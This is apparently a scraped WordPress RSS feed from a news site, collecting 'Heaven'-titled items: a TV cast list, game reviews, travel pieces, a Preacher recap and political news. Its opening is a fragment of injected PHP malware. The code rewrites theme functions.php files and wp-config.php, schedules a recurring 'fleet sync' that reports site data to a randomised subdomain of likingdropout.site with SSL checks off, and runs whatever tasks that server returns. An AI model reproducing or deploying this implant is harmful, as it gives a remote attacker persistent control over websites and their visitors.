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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Heaven – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 31 Aug 2022 03:43:36 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Heaven – Brief News https://briefnews.eu 32 32 ‘Heaven’s Machine’ Blasts Through a Train Headed for Heaven https://briefnews.eu/heavens-machine-blasts-through-a-train-headed-for-heaven/ https://briefnews.eu/heavens-machine-blasts-through-a-train-headed-for-heaven/#respond Wed, 31 Aug 2022 03:43:36 +0000 https://briefnews.eu/heavens-machine-blasts-through-a-train-headed-for-heaven/ Heaven’s Machine sees you shooting your way through a train headed for the afterlife, hoping to reach the conductor in time to save your loved one. Jack’s woken up on this strange…

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]]> https://briefnews.eu/heavens-machine-blasts-through-a-train-headed-for-heaven/feed/ 0 Made in Heaven on Amazon cast: Who is in the cast of Made in Heaven? https://briefnews.eu/made-in-heaven-on-amazon-cast-who-is-in-the-cast-of-made-in-heaven/ https://briefnews.eu/made-in-heaven-on-amazon-cast-who-is-in-the-cast-of-made-in-heaven/#respond Fri, 08 Mar 2019 01:54:07 +0000 http://briefnews.eu/made-in-heaven-on-amazon-cast-who-is-in-the-cast-of-made-in-heaven/

Made in Heaven drops on Amazon Prime this Friday (March 8). There are nine episodes in Made in Heaven so fans can binge-watch the series all at once. To watch Made in Heaven, you can sign up to a 30-day free trial of the service. After the trial is complete, you can subscribe to Amazon Prime for £7.99 per month.

Who is in the cast of Made in Heaven?

The cast of Made in Heaven features huge stars from the world of Indian cinema and television.

The series follows the working lives of two wedding planners in the industry in India: Tara and Karan in Delhi.

Tara and Karan are trying to make their mark on the Big Fat Indian Wedding scene.

Here’s a look at the official cast list below and everything you need to know about them.

Karan Mehra – Arjun Mathur

Arjun Mathur stars as wedding planner Karan in Made in Heaven on Amazon.

Karan, who is gay, is living in Delhi at a time where homosexuality was illegal.

His character bio reads: “He, ironically, makes his living by planning the perfect weddings for his clients, even though he isn’t legally allowed that privilege.”

Mathur is a Bollywood actor from London and has starred in countless films.

His credits include Luck By Chance and My Name is Khan.

Tara – Sobhita Dhulipala

Sobhita Dhulipala stars as Tara in Made in Heaven on Netflix.

Tara is the owner of her wedding planning agency called Made in Heaven.

Dhulipala is an Indian film actress, model and winner of Femina Miss India South 2013.

She is best known for starring in Anurag Kashyap’s film Raman Raqhav 2.0 as Smrutika Naidu.

Other big credits include Chef, Kaalakaandi and Goodachari, according to IMDb.

Dhulipala will star in the upcoming Hindi/Telugu film The Body.

Adil Khanna – Jim Sarbh

Jim Sarbh stars as Adil Khanna in Made in Heaven.

Sarbh is an Indian film and stage actor, best known for playing Khalil in the award-winning film Neerja.

Other credits include A Death in the Gunj, Padmaavat and Sanju.

Faiza Naqvi- Kalki Koechlin

Kalki Koechlin plays Faiza Naqvi in Made in Heaven.

Koechlin is an Indian-born French actress best known for starring the political drama Shangai and the thriller Ek Thi Daayan.

She was recently made a Knight of the Order of Arts and Letters by the French minister of Culture for her contribution to drama.

Jaspreet ‘Jazz’ Kaur – Shivani Raghuvanshi

Shivani Raghuvanshi is a 27-year-old Indian actress from Delhi, India.

Raghuvanshi is best known for Titli, Seeking Happily Ever After and Dancing Dad.

Other cast members in Made in Heaven include:

  • Zachary Coffin as Adam
  • Shibani Bagchi as Natasha Singh
  • Vinery Pathak as Ramesh Gupta
  • Dalip Tahil as Kishore Khanna
  • Yashaswini Dayama as Mital Gupta
  • Manini M. Mishra as Vimala Singh
  • Ayesha Raza as Renu Gupta
  • Suchitra Pillai as Mani Pandey
  • Shashank Arora as Kabir Basrai

Made in Heaven is streaming on Amazon Prime Video now

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Persona 5 and 3 Dancing review – Rhythm action heaven that’s simply a joy to play (Image: ATLUS)

Persona 5 is one of the best JRPGs of this generation while the third and fourth games are treated with a hushed reverence amongst fans.

The effortlessly cool and stylish titles from Atlus require dozens of hours to complete – and during that time suck you completely into its world.

But once you put down that controller and say goodbye to characters you’ve grown to known and love there are many ways to stay invested.

From manga comics, to animated series, movies and spin-off games – there are plenty of ways to stick around in a world that’s come to feel like home.

The latest offshoot for the Persona series continues the whacky tradition of going somewhere unexpected.

You like turned-based, role playing games? Cool. How about beat em-ups? Or rhythm action games?

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Atlus are experts at turning the parameters of what fans expect from a Persona game on its head while keeping it feel familiar and fresh.

Persona 5 Dancing in Starlight and Persona 3 Dancing in Moonlight are, as the names suggest, rhythm action games.

They follow in the footsteps of Persona 4 Dancing All Night, the first Persona music game released on the beloved PS Vita handheld back in 2015.

That title has a cult following and provided the blueprint for the P3 and P5 Dancing games on the PS4 and PS Vita.

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Persona Dancing 5 and 3 review – New Persona Dancing games are a must for music game fans (Image: ATLUS)

Characters from their respective entry in the Persona series dance along to remixed and original tracks in stages based on areas from that RPG.

This is helped immensely by the fact that soundtracks for Persona games absolutely kick ass.

Who wouldn’t want to dance to the acid jazz tunes of Persona 5 or the hip hop beats of P3?

Like with other rhythm action games, players have to tap buttons in time to the music while a Persona character dances in the background.

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Persona Dancing 5 and 3 review – The Persona games have awesome soundtracks (Image: ATLUS)

And what Atlus should undoubtedly be commended for is how they make use of the PS4 and PS Vita’s controls.

Rhythm action games invariably work best when used in tandem with a bespoke controller specific to that title.

The awesome Taiko no Tatsujin’s drums, Beatmania’s DJ set, Samba de Amigo’s maracas – the list goes on.

But with the Persona Dancing games the control system is simply based around the typical PlayStation button layout.

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Persona Dancing 5 and 3 review – The Persona Dancing games have a great control system (Image: ATLUS)

The bulk of the buttons you’ll need to press are all on the far left and far right of the PS4 joypad and the PS Vita.

So, up, left and down on the D-Pad as well as triangle, circle and X.

This is mirrored on screen, with icons showing these inputs appearing in corresponding positions on the left and right hand side of the display.

Notes move from the centre of the screen, prompting you to press buttons in time to the beat of the music.

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Persona Dancing 5 and 3 review – The Persona games are effortlessly cool and hip (Image: ATLUS)

As you’d expect from rhythm games, there are single notes to hit, notes you hit together, notes you have to hold and notes in quick succession.

You get graded on how close you are to keeping the beat of the track and can rack up combos if you continue hitting notes without missing.

It plays and feels great, but it can become overwhelming with so many prompts appearing on-screen quickly and the pressure of trying not to miss them.

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Persona Dancing 5 and 3 review – There can be a lot going on-screen all at once (Image: ATLUS)

One other note that you have to hit are scratch and fever notes – which can be registered with a quick flick of either analogue stick.

When you’re caught in the middle of a song, furiously pressing buttons and you just manage to flick the stick to hit these notes it feels so satisfying.

If you hit three fever notes during a song action on screen gets more frantic, with a second character jumping on stage to dance alongside with you.

The expertly created control system means you don’t need to buy an additional, bespoke controller to make the most of Persona Dancing.

But it’s definitely worth playing the tutorial first so you don’t feel overwhelmed by it all when you start.

Persona 5 Dancing and Persona 3 Dancing were developed simultaneously, and it shows with both games using the same engine and having the same modes.

There’s a dancing mode where you can choose which tracks you want to tackle and a social mode.

The latter replaces the lengthy story mode of Persona 4 Dancing, instead going for a more bite-sized approach.

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Persona Dancing 5 and 3 review – It’s definitely worth playing the tutorial first (Image: ATLUS)

In total there are eight characters that you have five ‘social’ events with which unlock after certain objectives are hit.

These events delve deeper into the P3 and P5 Dancing plot, with different dialogue options on offer like in the mainline games.

It’s not as in-depth or lengthy as the P4 Dancing story mode which may be disappointing for some fans.

But on the other hand, it just means that there’s more of a focus on the dancing mode, which is what we’re all here for anyway.

Overall, Persona 5 Dancing in Starlight and Persona 3 Dancing in Moonlight are expertly crafted, brilliant music games.

They’re an absolute must-have for rhythm action game lovers and for fans of the Persona series.

Both titles are sold separately, so some may feel like choosing one over the other – depending on which tracks or characters they prefer.

But we’d advise going all in, especially as there’s a collection featuring all three Persona Dancing games under one roof.

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Persona Dancing 5 and 3 review – ‘You’ll never see it coming’ how much fun this is (Image: ATLUS)

If you loved Persona 4 Dancing then both P3 and P5 Dancing are absolutely essential purchases.

And if you’re a Persona fan who has never played a Dancing game before then these latest titles are highly recommended.

‘You’ll never see it coming’ how much fun you can have with these slices of rhythm action heaven.

VERDICT: 4/5

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]]> https://briefnews.eu/persona-5-and-persona-3-dancing-review-rhythm-action-heaven-thats-simply-a-joy-to-play/feed/ 0 City scent from heaven https://briefnews.eu/city-scent-from-heaven/ https://briefnews.eu/city-scent-from-heaven/#respond Mon, 12 Nov 2018 03:05:12 +0000 http://briefnews.eu/city-scent-from-heaven/

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Cologne’s Gothic cathedral was largely untouched after the Second World War (Image: getty)

Thankfully, its centrepiece, the magnificent Gothic cathedral, was largely untouched and the aftermath of the war provided an opportunity for some innovative modern architecture, which contrasts with the city’s more traditional historic core. Here, you’ll find a mixture of classic and street art, modern, Michelin-star restaurants rubbing shoulders with old-fashioned beer halls, a variety of interesting neighbourhoods perfect for strolling around, and even some Roman remains. And you can’t go far without passing a store selling the city’s 4711 fragrance; bottles cost around £27, nearly the same price as the return flight.

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CHRISTMAS MARKETS AND FUN FESTIVALS

This year, Cologne starts preparing for the festive season on November 26, when its many Christmas markets are set up, and the city starts to sparkle under reams of twinkling lights. 

You’ll find traditional stalls selling presents and decorations in several areas, including in front of the cathedral, where a giant tree adds to the atmosphere.

Don’t miss Heinzels Winter Fairytale, Cologne’s oldest Christmas market. 

This extends throughout the narrow, cobbled streets of the Old Town, with an iceskating rink on the Heumarkt, not far from the river. Browsing is essential while sipping on a mulled wine.

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FESTIVE….. Christmas markets transform the city (Image: Getty)

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In Cologne, the christmas markets will be set up in November (Image: getty)

The other big event in the city’s calendar is the Carnival, held in the run-up to Easter, which culminates in a six-day street festival known as the “Crazy Days” (in 2019, this will run from February 28 to March 6). 

There are parades, balls and fancy-dress parties throughout the city – but be warned, many public institutions close.

OLD AND NEW

Standing proudly on the left bank of the Rhine, not far from the Altstadt, or Old Town, is the magnificent, dual-spired cathedral.

The elaborately-carved structure looms over the skyline, its dark exterior masking a more plain, stone interior, enlivened by a series of stained glass windows.

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The cathedral sits along the river Rhine (Image: getty)

Construction started in 1248 but it was left unfinished in 1473; happily, it was eventually completed in 1880.

city A few minutes’ walk away, by the old fish market, is a row of pretty, pastelcoloured houses, originally dating from around the 15th century but rebuilt after the war. 

Today they’re mostly restaurants, but you can read about their history on the walls of the orange one. Behind them rises the fairytale castle-like facade of Great St Martin Church. 

Get a flavour of what the city was like just after electric trams were installed here, in 1901, with a virtual reality tour at TimeRide on Alter Markt, a historic market square.

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YUMMY…The Lindt Museum is a great place to find out just how chocolate is made (Image: alamy)

Then take a river cruise, where you’ll get a great view of some of the interesting new buildings Cologne is good at constructing, particularly the Kranhauser, three upside down, L-shaped apartment blocks dating from 2008.

They are named after the cranes which were used to load and unload goods from trading ships. You’ll pass underneath the iconic, arched Hohenzollern Bridge, which connects both sides of the city across the Rhine.

ART AND CULTURE

Aside from fascinating architecture, Cologne has plenty of galleries and museums to keep visitors entertained. 

Contemporary art lovers should head to the Museum Ludwig, behind the cathedral, founded after a local couple donated their collection to the city in 1976. Inside the striking, airy building, you’ll find everything from Picasso to Pop Art.

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Visitors to Museum Ludwig can enjoy everything from Picasso to Pop Art (Image: Alamy)

The Romano-Germanic museum nearby has a range of artefacts from Cologne’s past as a city founded by the Romans in 50 AD – you can still see remnants of fortifications and towers around the centre.

Got a sweet tooth? Then make a beeline for the Lindt Chocolate Museum, set on its own little island on the river. 

Take a tour to learn just how this quality chocolate is produced, and finish off with a hot chocolate, chocolate cake or chocolate bar in the cosy cafe.

If the weather’s good, head to the beautiful botanical gardens of Flora, Cologne’s oldest and most traditional public park, home to more than 12,000 species of plants and flowers.

And you can’t miss a visit to the House of Fragrances 4711, opposite the cathedral, where Cologne’s signature scent has been created since 1792. 

You can learn all about its history on a guided tour or even create your own personal Eau de Cologne during a fragrance workshop.

EATING AND DRINKING

Cologne has its fair share of Michelin-star restaurants; there are currently 13 scattered around the city, including the gourmet, three-star Vendôme.

But its traditional food scene remains popular, and the best way to experience it is to head straight for one of the local brewhauses such as Päffgen, which brews its own beer on site. 

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Cologne’s ‘bar scene is second to none’ (Image: getty)

The local drink here is Kölsch, which is, unusually, an ale which is stored cold.

Brewhauses serve hearty, traditional dishes, such as blood sausage and potato dumplings.

And Cologne’s bar scene is second to none. No other German city has as many pubs per capita, from mainstream drinking dens to more sophisticated cocktail bars.

GETTING THERE: British Airways (0344 493 0125/ba.com) offers flights from Gatwick to Cologne from £27 one way.

Cologne tourist board: cologne-tourism.com

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]]> https://briefnews.eu/city-scent-from-heaven/feed/ 0 After a nuclear holocaust, we’ll go to heaven as martyrs; those who nuked us will go to hell – Putin https://briefnews.eu/after-a-nuclear-holocaust-well-go-to-heaven-as-martyrs-those-who-nuked-us-will-go-to-hell-putin/ https://briefnews.eu/after-a-nuclear-holocaust-well-go-to-heaven-as-martyrs-those-who-nuked-us-will-go-to-hell-putin/#respond Thu, 18 Oct 2018 14:22:24 +0000 http://briefnews.eu/after-a-nuclear-holocaust-well-go-to-heaven-as-martyrs-those-who-nuked-us-will-go-to-hell-putin/

If any nation decides to attack Russia with nuclear weapons, it may end life on Earth; but unlike the aggressors, the Russians are sure to go to heaven, President Vladimir Putin has said.

“Any aggressor should know that retribution will be inevitable and he will be destroyed. And since we will be the victims of his aggression, we will be going to heaven as martyrs. They will simply drop dead, won’t even have time to repent,” Putin said during a session of the Valdai Club in Sochi.

He added that Russia’s nuclear forces are not tailored for a pre-emptive strike, and exist as a second-strike capability meant to deter an attack by a foreign nation.

The Russian nuclear doctrine allows for the use of this weapon in a conventional conflict, but only if Russia’s existence is at stake. This presumably gives the Russian military a loophole to use tactical nuclear weapons in the case of a large-scale invasion. The self-imposed restrictions are less harsh than a complete ‘no-first-use’ pledge, which was dropped by Moscow in 1993.

The US’ latest nuclear posture review says that Washington may use nuclear weapons in response to a non-nuclear attack on itself or its allies. It remains vague about the exact circumstances that may trigger such an action. This gave rise to speculation that even a cyberattack may permit a nuclear response. Meanwhile, a call for the creation of small-yield submarine-launched missiles and nuclear-capable sea-launched cruise missiles have only added to concerns that the US is stocking up for some kind of large-scale conflict.

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]]> https://briefnews.eu/after-a-nuclear-holocaust-well-go-to-heaven-as-martyrs-those-who-nuked-us-will-go-to-hell-putin/feed/ 0 Preacher Season 3 Finale Recap: Heaven Must Be Missing an Angel — Plus, a Who's Who of Who's Dead https://briefnews.eu/preacher-season-3-finale-recap-heaven-must-be-missing-an-angel-plus-a-whos-who-of-whos-dead/ https://briefnews.eu/preacher-season-3-finale-recap-heaven-must-be-missing-an-angel-plus-a-whos-who-of-whos-dead/#respond Mon, 27 Aug 2018 10:11:04 +0000 http://briefnews.eu/preacher-season-3-finale-recap-heaven-must-be-missing-an-angel-plus-a-whos-who-of-whos-dead/ Warning: The following contains massive spoilers for the Season 3 finale of Preacher. So if you haven’t watched yet and want to be surprised, imagine being told in Genesis voice not to read any further.

Sunday’s Preacher included a vampire feeding frenzy, strip-mall Nazis, a celestial captive, a soul-sucking Tony winner and a fight scene so brutal, it should have come with a warning that it might leave viewers vicariously concussed. In other words, it was exactly the Season 3 finale that fans of the wackadoo comic-book dramedy would have hoped for, if not outright demanded. Who managed to make it to the end of “The Light Above” alive — or, in the vamps’ case, undead? Read on…

preacher-season-3-episode-10-recap-finale-granma eccarius killed‘YOU STILL THINK LIKE A CUSTER’ | At the tail end of a prologue in which young Jesse tried but failed to work up the gumption to murder his Gran’ma, the older, ballsier version of our anti-hero arrived back in Angelville determined to do what he should’ve decades earlier. First, though, he’d have to make it through T.C., who was sure “there [had] to be a constructive, nonviolent solution” to Jesse’s beef with Miss Marie. Yeah, no. After using Genesis to have T.C. shoot himself in the foot, Jesse suggested that he and Jody retire to the Tombs. There, they engaged in the kind of knock-down, drag-out brawl that could send even a spectator to the chiropractor. Finally, Jody made the mistake of reminding Jesse of the night he’d killed his father. Filled to overflowing with rage, the preacher bashed his opponent’s head into the stone wall so many times, with such force, that it resembled a watermelon after a date with Gallagher. “I’m proud of you, boy,” said Jody, well past the point at which he should have been dead (and, to be clear, right before he died). Jesse gave T.C. the option of leaving before he torched the Tombs, but the perv declined. Without Angelville, he said, “I got nowhere else to go.” So OK, up in flames he went.

preacher-season-3-episode-10-recap-finale-granma eccarius killed‘FREE WILL HAS ITS CONSEQUENCES’ | Meanwhile, at the site of the bus crash, Rick and the other strip-mall Nazis told the Saint and Sidney, “Resist, and you will be liquidated.” Needless to say, the hellions resisted, and the hellions were not liquidated. While they decapitated the posers, back in the bus, Eugene thwarted Hitler’s escape attempt, and Tulip fought off a Nazi with a windshield wiper (because there is literally nothing that that badass can’t do). When the smoke cleared outside, Sidney asked the Saint, “All those crows… Do you think they pecked your daughter’s eyes out after she was dead or while she was lying there still alive?” I wouldn’t have thought it possible for the Cowboy’s gaze to get any darker, yet in that instant, darker it became. “Yeah,” said Sidney. “I think so, too.” Before he could tear her apart, the tank rolled forward and did exactly that to him. Nonetheless, by the time Sidney re-apprehended Tulip and Eugene, the Saint was able to launch a missile… which God, in turn, stopped in mid-air. “You see,” he told Tulip, “I am a loving God.” Only He wasn’t really. Though He offered to lift the O’Hare curse if Tulip would get Jesse off his back (lest Genesis interfere with his great design), He wouldn’t be sparing Eugene from a return to hell. When Tulip decided against the deal, God warned that Cassidy was in grave danger. “I was going to help to show you I’m a loving God,” He added, “but… ” More resolved than ever then to stick to her guns, Tulip called Him a d–k, He unfroze the missile and let the Cowboy, now miraculously back in one piece, remove Sidney’s eyes.

preacher-season-3-episode-10-recap-finale-granma eccarius killed‘GET A DUST BUSTER… AND MAYBE A SPONGE’ | Speaking of Cassidy and the grave danger he was in… Eccarius gave him one last chance to change his mind and save himself. Ultimately, Cass took him up on it. But he’d need some blood fast to heal his crucifixion wounds so that he could masturbate properly. And he didn’t want any old squirrel blood, either — he wanted human blood! Mrs. Rosen, of all people, volunteered to be turned. She didn’t even object when Eccarius proposed a crimson menage a trois. However, things were not as they seemed. When Eccarius bent down to Mrs. Rosen’s neck, he saw that there were already fang marks in it. What the what? With supernatural speed, the wannabe blood-suckers — who were now actual blood-suckers! — nailed Eccarius down (so that not even his shapeshifting could save him). Only then did Cassidy reveal that he’d turned Mrs. Rosen, and she’d turned everyone else. So “now what?” Eccarius asked Cass. “Go back to your loveless, lonely existence?” Sure, he replied. But first, dinner! With that, the vamps devoured the scumbag who’d deceived and destroyed so many of their pals. Later, as they were cleaning up, Hoover returned with big news for Cass: He’d quit the Grail. Oh, and he had a present for the vamp who’d saved him: an umbrella, which he advised be opened immediately. Er, why? Because at that moment, a Grail chopper pulled off the house from above the basement, exposing to the sun everyone but Hoover and Cassidy!

‘WELCOME HOME’ | When Tulip arrived at the scene of the vampire barbecue, she learned from Mrs. Rosen and her son (who’d apparently leapt into coffins when the s— hit) that Cass had been taken by the people in white. Them again! Back in Angelville, Jesse delivered to his Gran’ma the suitcase full of souls, enough to keep her going for another 100 years. He also used Genesis to make her release Tulip (cue the puke) and say aloud that his debt was paid. Technically, he’d gotten everything he wanted. Only now he knew that he couldn’t just leave Angelville. He had to kill Gran’ma and burn down the place. Miss Marie wasn’t scared, mind you. She simply revealed that she’d made a deal with her “gentleman caller” — Satan — that arranged for Jesse, not her, to go to hell, should he kill her. OK, so Jesse couldn’t throttle her like he wanted to. He could at least use Genesis to force her to destroy all the souls that she craved so badly. Thing was, it still didn’t feel to him like he’d won. So, after making it as far as the gates of Angelville, he turned around, went back and strapped his Gran’ma into her soul-sucking machine. Sure, when he died, he might go to hell. But “today,” he spat, “you burn.” (Hate to see Betty Buckley go, but man, was she ever a blast!)

preacher-season-3-episode-10-recap-finale-granma eccarius killed‘HOW DARE YOU PULL A GUN ON THE PRINCE OF DARKNESS?’ | In hell, Satan kept his end of his bargain with the Cowboy, returning his weapons so that he could resume pursuing the preacher… whose name was what? the devil asked. Hearing that it was Jesse Custer, Satan couldn’t contain his glee since he’d just struck a deal with Marie that would bring Genesis to hell if that particular preacher was killed. The Saint had a question, too: Whose idea had the crows been? Though Satan insisted that “it was God’s, of course,” the Saint shot him, releasing bats from the hole in his head. When the Cowboy left, having realized that Eugene didn’t belong in hell, he took the teen with him. But Hitler? Heil, no! He was right where he belonged — a fact born out when the fuhrer seemed to get awfully comfy awfully fast behind Satan’s desk! As the finale neared its conclusion, Jesse and Tulip took off to save Cassidy, who was at that moment imprisoned in a pit in Masada, an angelic fellow prisoner bound several feet above him. When Herr Starr learned that Hoover hadn’t been joking about being a vampire, he knocked off his henchman’s protective hat, burning him to a crisp. Finally, Starr revealed to Featherstone that he no longer wanted Jesse to be his messiah, he merely wanted revenge. Featherstone was thrilled, since that meant the chess match for world domination would continue. No, Starr replied. And as we got a hint of the massiveness of the war he seemed intent on starting, he said simply, “It’s time to play some f—ing checkers.”

So, what did you think of the Season 3 finale? The phrase “bats— crazy” comes to mind, no? Grade the episode below, then hit the comments with your hopes for Season 4.

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]]> https://briefnews.eu/preacher-season-3-finale-recap-heaven-must-be-missing-an-angel-plus-a-whos-who-of-whos-dead/feed/ 0 Enjoy a DIY Road Trip to Elephant Heaven https://briefnews.eu/enjoy-a-diy-road-trip-to-elephant-heaven/ https://briefnews.eu/enjoy-a-diy-road-trip-to-elephant-heaven/#respond Tue, 07 Aug 2018 17:43:06 +0000 http://briefnews.eu/enjoy-a-diy-road-trip-to-elephant-heaven/ “Whatever happens, do not slow down,” warns my father-in-law. I’m sitting at the wheel of a 4×4 facing the biggest pothole — or the smallest lake — I have ever seen. Stepping on the gas, scared of drowning my extended family, I fail to notice I’m speeding toward a tree. At the last second, my father-in-law grabs the wheel and gets us safely back on the road. Hands shaking, I squeal, “That was fun! Does someone else want to drive?”

We are touring Botswana’s Chobe National Park, one of the best safari spots on the planet. Since it’s famed for being a luxury travel destination — with budget-squeezing, five-star tented camps and infinity pools — I never thought I’d visit. But it turns out there is an affordable way to explore this wildlife wonderland, if you are willing to get a little muddy.

The cheapest and, frankly, most exciting route is the do-it-yourself one: Rent a car, sleep in tents and cook your own food. It sounds intimidating, but it’s not that different from a conventional camping trip, minus a few retirees and plus a few lions. We got a brand-new 4×4 for $ 90 a day, which is how much some lodges charge per person for a two-hour guided safari. Get a car with a sleeping nook on the vehicle’s roof, or pitch a tent at a camping site for about $ 25 a night.

Peppered with towering anthills and Jurassic-looking baobabs, the landscape is spectacular.

The best part about the DIY approach is that you get to drive yourself through Botswana’s pristine national parks, going at your own pace. Peppered with towering anthills and Jurassic-looking baobabs, the landscape is spectacular. So is the game viewing: lions, leopards, rhinos and buffalo as well as many other lesser-known, equally beautiful animals like gazelles, giraffes, zebras and kudus, an adorable antelope that looks like it’s wearing a face full of makeup.

The undisputed king of Botswana’s wildlife, of course, is the elephant. Thanks to decades of strong anti-poaching efforts, the country has the highest population of pachyderms on the continent. These magnificent giants can be easily spotted by the hundreds along the banks of the Chobe River, especially when it’s dry season and most other water sources dry up.

The time of year you should avoid: high season. Every tour operator will tell you the best time to visit Botswana is from June to August because the lack of rain forces animals to get closer to rivers and ponds, making them easier to spot. Honestly, there are plenty of animals all year round. Going in April or September will save you from having to mortgage your home and queue behind seven Land Cruisers taking photos of the same stressed-out leopard.

Granted, driving yourself comes with its own risks. You could get lost in the wilderness or stuck in a pothole. Self-driving safaris pose a bigger danger to the animals than they do to the tourists, says Geraldine Gifford, manager of Botswanan tour company Letaka Safaris. “People who don’t have an understanding of wildlife may go driving off-road,” she says, “or cut off a young elephant from its mother, causing distress.” Still, Gifford says if people listen to the instructions from the park rangers there is nothing problematic about going the road-trip route.

Yes, a DIY safari is a little scary at first. You will have to learn how to drive on sand, change a flat tire and sleep through the occasional blood-curdling lion roar. But trust me, seeing baby elephants right there makes it all worthwhile.

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]]> https://briefnews.eu/heaven-will-be-mine-review-in-space-no-one-can-hear-you-reach-out/feed/ 0 ‘God’ agreed to send all victims of extrajudicial killings to heaven, Duterte claims https://briefnews.eu/god-agreed-to-send-all-victims-of-extrajudicial-killings-to-heaven-duterte-claims/ https://briefnews.eu/god-agreed-to-send-all-victims-of-extrajudicial-killings-to-heaven-duterte-claims/#respond Fri, 03 Aug 2018 14:15:14 +0000 http://briefnews.eu/god-agreed-to-send-all-victims-of-extrajudicial-killings-to-heaven-duterte-claims/ All victims of extrajudicial killings will get a free pass to heaven, Philippines President Rodrigo Duterte announced after purportedly consulting with “God” on the issue.

Speaking at the opening of a drug rehabilitation center on Friday, the eccentric Philippines leader disclosed that he had “asked God” for “all the victims of extrajudicial killings” to go to heaven – and God consented. 

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Duterte said that when he asked for the favor, God replied: “I can, I can.”

Duterte launched a brutal war on drugs after taking office two years ago, with more than 12,000 believed to have been killed by police or “unidentified gunmen” since then, according to Human Rights Watch.

Expanding on his theological ruminations, Duterte added that “my God is not your God. I believe in a universal being,” and “reserve the hottest place in hell for me and may I burn in eternity, if there is hell.”

The president has a colorful history of impious outbursts, once even calling the Christian God “stupid.” Last month Duterte even promised to resign immediately if anyone could prove that God exists. Despite vowing that he wouldn’t apologize “in a million years,” Duterte later said he was sorry for speaking ill of the Lord, after mass uproar over his comments spread through the predominantly Catholic country.

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Three mecha pilots who are part of a space program fighting for humanity’s future find themselves in command of their own destinies as the program falls apart, and things are quickly getting intense. Choose one of these three women as the pilot of your story and pick fights with the others, or kiss them – what happens in space, stays in space… right? Heaven Will Be Mine wants players to forge their own path in this saucy sci-fi visual novel jam packed with personal tragedies, secret loves, and space battles.

Duty or love? Heaven Will Be Mine wants players to decide between these heavy topics with the choices presented in each pilot’s story. Players will be able to watch events unfold from three different perspectives (depending on which pilot they choose) and how their choices will affect humanity and space. Will you find love and abandon your mission, or will you hold your ideals high and win out for your faction? It will be up to you to grasp for what you feel is most important in this dying mission.

Captivating art, lo-fi beats, mixing mecha and making out, and a story shaped by whether you wish to save the universe or just find love amidst the flames of its destruction. Who could want more in a visual novel?

